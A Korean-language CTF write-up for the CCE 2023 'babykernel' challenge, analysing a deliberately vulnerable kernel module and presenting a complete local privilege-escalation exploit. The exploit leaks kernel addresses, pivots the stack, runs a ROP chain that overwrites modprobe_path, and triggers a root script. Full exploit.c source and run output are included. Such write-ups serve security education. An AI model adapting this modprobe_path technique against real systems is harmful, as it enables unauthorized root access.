CTF/2023

[CTF][2023] CCE 2023 QUAL - babykernel

pwn3r_45 2024. 3. 18. 00:44

문제개요

Keywords : linux kernel module, privilege escalation, modprobe_path overwrite

File

$ tree .
.
├── Dockerfile
├── docker-compose.yml
└── share
    ├── bzImage
    ├── local_run.sh
    ├── pow.py
    ├── pow_client.py
    ├── rootfs.img.gz
    ├── server_run.sh
    └── ynetd

1. Analysis

1.1. rootfs.img.gz

summary

  • 주어진 압축 파일 내에 리눅스 커널(share/bzImage)과 파일시스템(rootfs.img.gz) 존재
$ file rootfs.img.gz 
rootfs.img.gz: gzip compressed data, from Unix, original size modulo 2^32 3715072

$ file bzImage 
bzImage: Linux kernel x86 boot executable bzImage, version 5.19.17 (h0r1n@VM) #1 SMP PREEMPT_DYNAMIC Thu May 18 00:44:59 KST 2023, RO-rootFS, swap_dev 0XA, Normal VGA

$ cat local_run.sh 
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep \
    -kernel bzImage \
    -initrd rootfs.img.gz \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
    -s

decompress

  • 아래 명령어로 파일시스템 이미지를 rootfs.img.gz를 decompress 가능
gzip -d rootfs.img.gz
mkdir img/
cd img/
sudo cpio -idmv < ../rootfs.img

decompress 결과

$ ls -l 
합계 1056
-rw-rw-r-- 1 user user    8232  5월 22 16:42 babykernel.ko
drwxrwxr-x 2 user user    4096  6월 11 00:19 bin
drwxrwxr-x 3 user user    4096  6월 11 00:19 etc
-rw-rw-r-- 1 user user      13  6월  9 16:46 flag
lrwxrwxrwx 1 user user      11  6월 11 00:19 init -> bin/busybox
-rw-rw-r-- 1 user user 1048576  6월  9 16:47 rootfs.img.gz
drwxrwxr-x 2 user user    4096  6월 11 00:19 sbin
drwxrwxr-x 4 user user    4096  6월 11 00:19 usr

1.2. Concept && Vulnerability (babykernel.ko)

  • decompress 된 파일시스템 내에 /babykernel.ko 커널 모듈이 존재
  • /babykernel.ko/dev/babykernel 이라는 디바이스를 생성하고, ioctl 요청을 받아 처리
__int64 __fastcall bk_ioctl(struct file *filp, unsigned int cmd, unsigned __int64 arg)
{
  __int64 v3; // rdx
  _QWORD *heap2; // rax
  unsigned __int64 size2; // rdx
  __int64 *ops; // rbx
  __int64 **heap1; // rsi
  unsigned __int64 size; // rdx

  _fentry__(filp, cmd);
  copy_from_user(&user_input, v3, 24LL);
  switch ( cmd )
  {
    case 0x1002u:                         // 0x1002 : module address leak
      ops = &::ops[user_input.idx];
      heap1 = (__int64 **)kmem_cache_alloc_trace(kmalloc_caches[18], 0x6000C0LL, 16LL);
      *heap1 = ops;
      size = user_input.size;
      if ( size > 0x10 )
        _copy_overflow(16LL, user_input.size);
      else
        copy_to_user(user_input.ptr, heap1, size);
      break;
    case 0x1003u:                         // 0x1003 : call handler
      ((void (*)(void))&::ops[user_input.idx])();
      break;
    case 0x1001u:                         // 0x1001 : commit_creds address leak
      heap2 = (_QWORD *)kmem_cache_alloc_trace(kmalloc_caches[18], 0x6000C0LL, 16LL);
      *heap2 = &commit_creds;
      size2 = user_input.size;
      if ( size2 <= 0x10 )
        copy_to_user(user_input.ptr, heap2, size2);
      break;
  }
  return 1LL;
}
  • 위 ioctl 함수는 3가지 취약점을 제공
    1. cmd=0x1001 : commit_creds address leak
      • commit_creds 함수의 주소를 유저 영역 메모리에 복사
    2. cmd=0x1002 : babykernel.ko module address leak
      • babykernel.ko 모듈 전역변수 &ops[user_input.idx]의 주소를 유저 영역 메모리에 복사
    3. cmd=0x1003 : out-of-bound call
      • babykernel.ko 모듈 전역변수 &ops에서 원하는 인덱스에 있는 코드 주소 호출 가능 (&ops[user_input.idx])();)
      • user_input.idx는 완전히 컨트롤 가능하고 0x1002 를 통해 &ops의 주소도 알고있으므로, 완전한 rip control 가능

1.3. Enabled mitigations

요약

SMEP    /   O
SMAP    /   X
KASLR   /   O   
KPTI    /   O
KADR    /   O

SMEP, SMAP, KPTI, KASLR

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep \      # smep
    -kernel bzImage \
    -initrd $1 \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \            
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1"  # kaslr kpti

KADR (Kernel Address Display Restriction)

  • KADR이 활성화되어있고, /proc/kallsyms의 읽기권한 자체도 제한
# /etc/init.d/rcS
........
echo 1 > /proc/sys/kernel/kptr_restrict
chmod 400 /proc/kallsyms
........
~ $ ls -l /proc/kallsyms 
-r--------    1 0        0                0 Mar 12 19:16 /proc/kallsyms
~ $ cat /proc/kallsyms 
cat: can't open '/proc/kallsyms': Permission denied

2. Exploitation

2.1. 디버깅 환경 구축

(1) Root shell

  • 일반 사용자(uid:1000)이 아닌 루트(uid:0) 권한 쉘을 실행하도록 패치
$ cat /etc/init.d/rcS
mkdir -p /proc && mount -t proc none /proc
mkdir -p /dev  && mount -t devtmpfs devtmpfs /dev
mkdir -p /tmp  && mount -t tmpfs tmpfs /tmp

echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

chmod 400 /proc/kallsyms

chmod 400 /flag

insmod /babykernel.ko
chmod 666 /dev/babykernel

setsid /bin/cttyhack setuidgid 0 /bin/sh          # <---- new
# setsid /bin/cttyhack setuidgid 1000 /bin/sh     # <---- old
umount /proc
poweroff -d 1 -n -f

(2) Extract vmlinux

  • bzImage 또는 vmlinuz에서 vmlinux 추출
# https://velog.io/@msh1307/Extract-vmlinux
wget https://raw.githubusercontent.com/torvalds/linux/master/scripts/extract-vmlinux
chmod +x extract-vmlinux
./extract-vmlinux bzImage > vmlinux

(3) Disable kaslr

  • 디버깅을 위한 qemu 실행 시 kaslr 옵션 제거
  • 기존
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
  • kaslr 옵션 제거
    -append "console=ttyS0 kpti=1 quiet panic=1" \

(4) qemu gdb-server option

  • -s 옵션 사용 시 qemu에서 gdbserver 실행
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep \
    -kernel bzImage \
    -initrd rootfs.img.gz \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 kaslr kpti=1 quiet panic=1" \
    -s

(5) gdb attach

  • gdb remote attach로 커널 디버깅
$ gdb -q vmlinux
gdb-peda$ target remote 127.0.0.1:1234
Remote debugging using 127.0.0.1:1234
......................................
Legend: code, data, rodata, value
Stopped reason: SIGTRAP
0xffffffffa6ca278b in ?? ()
gdb-peda$ c
Continuing.

2.2. Memory leak

  • 앞서 확인한 ioctl cmd 0x1001, 0x1002을 활용하여 커널 메모리 주소 일부를 leak 가능
#define     PWN_LEAK1       0x1001
#define     PWN_LEAK2       0x1002
#define     PWN_TRIGGER     0x1003

struct param_struct{
    uint8_t *ptr;
    uint64_t size;
    uint64_t idx;
};

int main(){
    int32_t fd = -1;
    uint8_t buf[16] = {0, };
    struct param_struct param = {0, };

    fd = open("/dev/babykernel", 0);
    if(fd < 0){
        puts("open() error");
        exit(-1);
    }

    memset(&param, 0, sizeof(struct param_struct));
    param.ptr = buf;
    param.size = 0x10;
    param.idx = 0;
    ioctl(fd, PWN_LEAK1, &param);
    write(1, param.ptr, 16);

    memset(&param, 0, sizeof(struct param_struct));
    param.ptr = buf;
    param.size = 0x10;
    param.idx = 0;
    ioctl(fd, PWN_LEAK2, &param);
    write(1, param.ptr, 16);
    close(fd);
}
~ # /kernel_addr_leak | xxd
00000000: f0c0 2fa5 ffff ffff 0000 0000 0000 0000  ../.............   # &commit_creds
00000010: e0a4 20c0 ffff ffff 0000 0000 0000 0000  .. .............   # &ops

2.3. Stack pivoting

  • Ioctl cmd 0x1003을 활용한 Arbitrary address call -> ROP payload 실행으로 이어가기 위해 stack pivoting 필요
  • 스택에 사용자의 데이터가 거의 없기 때문에 rsp lifting은 제한
  • 가젯 확인 중 아래와 같은 xchg esp, eax 가젯을 발견 -> xchg esp, eax 실행 시 esp의 상위32bit는 0으로 초기화 되므로, 유저 영역에 메모리를 할당하여 stack pivoting 가능 (SMAP이 비활성화 되어있으므로 커널에서 유저 영역 메모리 접근 가능)

Stack pivoting gadget

gdb-peda$ x/2i 0xffffffff82ad7158
        0xffffffff82ad7158:  xchg   esp,eax
        0xffffffff82ad7159:  ret    

User space memory allocation for ROP Payload

    stack = mmap((void *)(k_xchg_esp_eax_gadget & 0xfffff000) - 0x40000, (size_t)0x80000, PROT_READ | PROT_WRITE | PROT_EXEC,  MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    payload = (uint64_t *)(k_xchg_esp_eax_gadget & 0xffffffff);
    *payload++ = (uint64_t *)k_pop_rbx_gadget;
    *payload++ = (uint64_t *)k_modprobe_path;
    .....................................................

Trigger arbitrary address call (ioctl cmd 0x1003)

    memset(&param, 0, sizeof(struct param_struct));
    *((uint64_t *)&param) = 0x4141414141414141;
    *((uint64_t *)&param + 1) = 0x4242424242424242;
    param.idx = ((k_xchg_esp_eax_gadget - k_ops_base) >> 3) & 0xffffffffffffffff;

    ioctl(fd, PWN_TRIGGER, &param);

2.4. Modprobe_path manipulation

  • 익스플로잇 과정 최소화를 위해 상대적으로 간단한 modprobe_path overwrite을 활용하여 익스플로잇
  • modprobe_path를 "/tmp/45"로 조작하는 rop payload를 작성하여 mmap된 메모리에 삽입
(1) modprobe_path[0:4] = "/tmp";
(2) modprobe_path[4:8] = "/45\0";
    *payload++ = (uint64_t *)k_pop_rbx_gadget;
    *payload++ = (uint64_t *)k_modprobe_path;
    *payload++ = (uint64_t *)k_pop_rax_gadget;
    *payload++ = (uint64_t *)0x706d742f;  // "/tmp"
    *payload++ = (uint64_t *)k_mov_rbx_eax_gadget;
    *payload++ = (uint64_t *)k_pop_rbx_gadget;
    *payload++ = (uint64_t *)(k_modprobe_path + 4);
    *payload++ = (uint64_t *)k_pop_rax_gadget;
    *payload++ = (uint64_t *)0x35342f;  // "/45" 
    *payload++ = (uint64_t *)k_mov_rbx_eax_gadget;

2.5. Process continuation

  • 커널 모드에서 사용자 모드로 돌아가는 과정을 rop payload로 작성하는 것은 상당히 번거로움
  • 익스플로잇 과정 최소화를 위해, payload 상에서 사용자 영역으로 돌아가는 것이 아닌 ioctl을 정상적으로 끝내는 방향으로 payload 구성
  • rop payload 상에서 rbp를 보존해뒀다가, 마지막에 mov rsp, rbp 를 수행해줄 경우, ioctl 부모함수의 stack frame을 가지고 정상적으로 리턴하도록 만들 수 있음
(3) Return to ioctl return address
    *payload++ = (uint64_t *)k_mov_rsp_rbp_gadget;

2.6. Prepare modprobe handler script

  • modprobe 트리거 및 핸들링을 위해 /tmp 내에 2가지 파일 작성
  1. /tmp/45 : 알려지지 않은 시그니처의 실행 파일을 처리할 프로그램 (/flag/tmp/flagrwxrwxrwx 권한으로 복사)
  2. /tmp/trigger : \xff\xff\xff\xff라는 시그니처를 가지는 파일
void prepare_modprobe_exploit(){
    system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/45");
    system("chmod +x /tmp/45");
    system("echo -e '\xff\xff\xff\xff' > /tmp/trigger");
    system("chmod +x /tmp/trigger");
}

2.7. Trigger modprobe

  • ROP payload 실행(modprobe_path overwrite) 완료 -> /tmp/trigger 실행 -> /tmp/45 실행
  • 이후 복사된 /tmp/flag를 출력
void trigger_modprobe_exploit(){
    system("/tmp/trigger 2> /dev/null");
    system("cat /tmp/flag");
    exit(0);
}

3. Exploit

3.1. exploit.c

#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>

#define     PWN_LEAK1       0x1001
#define     PWN_LEAK2       0x1002
#define     PWN_TRIGGER     0x1003

struct param_struct{
    uint8_t *ptr;
    uint64_t size;
    uint64_t idx;
};

void prepare_modprobe_exploit(){
    system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/45");
    system("chmod +x /tmp/45");
    system("echo -e '\xff\xff\xff\xff' > /tmp/trigger");
    system("chmod +x /tmp/trigger");
}

void trigger_modprobe_exploit(){
    system("/tmp/trigger 2> /dev/null");
    system("cat /tmp/flag");
    exit(0);
}

int main(){
    int32_t fd = -1;
    uint8_t buf[16] = {0, };
    struct param_struct param = {0, };

    uint64_t *stack = NULL, *payload = NULL; 
    uint64_t k_ops_base = 0;
    uint64_t k_commit_creds = 0;
    uint64_t k_gadget_base = 0;
    uint64_t k_xchg_esp_eax_gadget = 0;
    uint64_t k_pop_rbx_gadget = 0;
    uint64_t k_mov_rbx_eax_gadget = 0;
    uint64_t k_modprobe_path = 0;
    uint64_t k_pop_rax_gadget = 0;
    uint64_t k_mov_rsp_rbp_gadget = 0;

    fd = open("/dev/babykernel", 0);
    if(fd < 0){
        puts("open() error");
        exit(-1);
    }

    prepare_modprobe_exploit();

    memset(&param, 0, sizeof(struct param_struct));
    param.ptr = buf;
    param.size = 0x10;
    param.idx = 0;
    ioctl(fd, PWN_LEAK1, &param);

    k_commit_creds = *((uint64_t *)param.ptr);
    k_gadget_base = k_commit_creds & 0xfffffffffff00000;
    k_xchg_esp_eax_gadget = k_gadget_base + 0xd7158;
    /*
        (gdb) x/10i 0xffffffff89000000 + 0xd7158
        0xffffffff890d7158:  xchg   %eax,%esp
        0xffffffff890d7159:  ret   
   */
    k_pop_rax_gadget = k_gadget_base + 0x1ae94c;
    /*
        (gdb) x/10i 0xffffffff89000000 + 0x1ae94c
        0xffffffff891ae94c:  pop    %rax
        0xffffffff891ae94d:  ret    
    */
    k_pop_rbx_gadget = k_gadget_base + 0xaa5863;
    /*
        $ cat gadgets.txt | grep ff81 | grep ": pop rbx ; .*ret$"
        0xffffffff81aa5863 : pop rbx ; imul edi, edi, -0x7d ; ret
    */
    k_mov_rsp_rbp_gadget = k_gadget_base + 0xb5d1c;
    /*
        $ cat gadgets.txt | grep ff81 | grep ": mov rsp, rbp ;.*ret$"
        0xffffffff810b5d1c : mov rsp, rbp ; pop rbp ; ret
    */
    k_mov_rbx_eax_gadget = k_gadget_base + 0x4940e3;
    /*
        $ cat gadgets.txt | grep ff81 | grep "mov .word ptr \[r..\], [er].. ; .*ret$"
        0xffffffff814940e3 : mov dword ptr [rbx], eax ; ret
    */
    k_modprobe_path = k_gadget_base + 0x1a8b340;
    /*
        ffffffff8aa8b340 D modprobe_path
    */

    memset(&param, 0, sizeof(struct param_struct));
    param.ptr = buf;
    param.size = 0x10;
    param.idx = 0;
    ioctl(fd, PWN_LEAK2, &param);

    k_ops_base = *((uint64_t *)param.ptr);

    memset(&param, 0, sizeof(struct param_struct));
    *((uint64_t *)&param) = 0x4141414141414141;
    *((uint64_t *)&param + 1) = 0x4242424242424242;
    param.idx = ((k_xchg_esp_eax_gadget - k_ops_base) >> 3) & 0xffffffffffffffff;

    stack = mmap((void *)(k_xchg_esp_eax_gadget & 0xfffff000) - 0x40000, (size_t)0x80000, 
                            PROT_READ | PROT_WRITE | PROT_EXEC, 
                            MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
    payload = (uint64_t *)(k_xchg_esp_eax_gadget & 0xffffffff);
    *payload++ = (uint64_t *)k_pop_rbx_gadget;
    *payload++ = (uint64_t *)k_modprobe_path;
    *payload++ = (uint64_t *)k_pop_rax_gadget;
    *payload++ = (uint64_t *)0x706d742f;  // "/tmp"
    *payload++ = (uint64_t *)k_mov_rbx_eax_gadget;
    *payload++ = (uint64_t *)k_pop_rbx_gadget;
    *payload++ = (uint64_t *)(k_modprobe_path + 4);
    *payload++ = (uint64_t *)k_pop_rax_gadget;
    *payload++ = (uint64_t *)0x35342f;  // "/45" 
    *payload++ = (uint64_t *)k_mov_rbx_eax_gadget;
    *payload++ = (uint64_t *)k_mov_rsp_rbp_gadget;

    ioctl(fd, PWN_TRIGGER, &param);
    close(fd);

    trigger_modprobe_exploit();
}

3.2. compress

compress.sh

gcc -static -o exploit exploit.c -w
cp ./exploit ./img/
cd ./img/
sudo find . |sudo cpio -H newc -o > ../rootfs.img
gzip ../rootfs.img

3.3. Run

~ $ ls -l /tmp/
total 0
~ $ ls -l /flag /exploit 
-rwxrwxr-x    1 0        0           915088 Mar 17 14:37 /exploit
-r--------    1 0        0               13 Jun  9  2023 /flag
~ $ /exploit 
cce2023{...}
~ $ ls -l /tmp/
total 12
-rwxr-xr-x    1 1000     1000            49 Mar 17 14:38 45
-rwxrwxrwx    1 0        0               13 Mar 17 14:38 flag
-rwxr-xr-x    1 1000     1000             5 Mar 17 14:38 trigger